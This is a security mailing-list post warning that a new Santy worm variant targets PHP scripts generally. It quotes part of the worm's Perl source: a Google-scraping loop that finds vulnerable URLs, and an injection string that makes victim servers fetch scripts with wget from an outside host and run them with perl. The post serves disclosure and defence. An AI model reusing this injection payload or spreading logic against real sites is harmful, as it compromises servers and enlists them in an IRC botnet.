New Santy-Worm attacks *all* PHP-skripts

[Juergen Schmidt <ju () heisec de>]

Hello,

the new santy version not only attacks phpBB.

It uses the brasilian Google site to find all kinds of PHP skripts.
It parses their URLs and overwrites variables with strings like:

'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
www.visualcoders.net/spybot.txt;...

Often enough this leads to download and execution of code.
On success the worm connects to an IRC server, where already more than 700
zombies are waiting for commands.

The relevant code:
---------
$procura = 'inurl:*.php?*=' . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort =>
80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
...

$lista1 = 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget
www.visualcod
ers.net/php.txt;wget www.visualcoders.net/ownz.txt;wget
www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl
ownz.txt;perl php.txt';
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
 $ja[$t] = $_;
 chomp $ja[$t];
 $t++;
 $y++;
}
close(opa);
$t=1;
while ($t < $y)
   {
    if ($ja[$t] =~/=/)
      {
       $num = rindex $ja[$t], '=';
       $num += 1;
       $ja[$t] = substr($ja[$t],0,$num);
            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
        $num = index $ja[$t], '=';
        $num += 1;
        $ja[$t] = substr($ja[$t],0,$num);
        $num1 = rindex $ja[$t], '.';
        $subproc = substr($ja[$t],$num1,$num);

            open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar
caxe1.txt";
            print jaera "$ja[$t]$lista1\n";
            close(jaera);
      }
     $t++;
     }


bye, ju
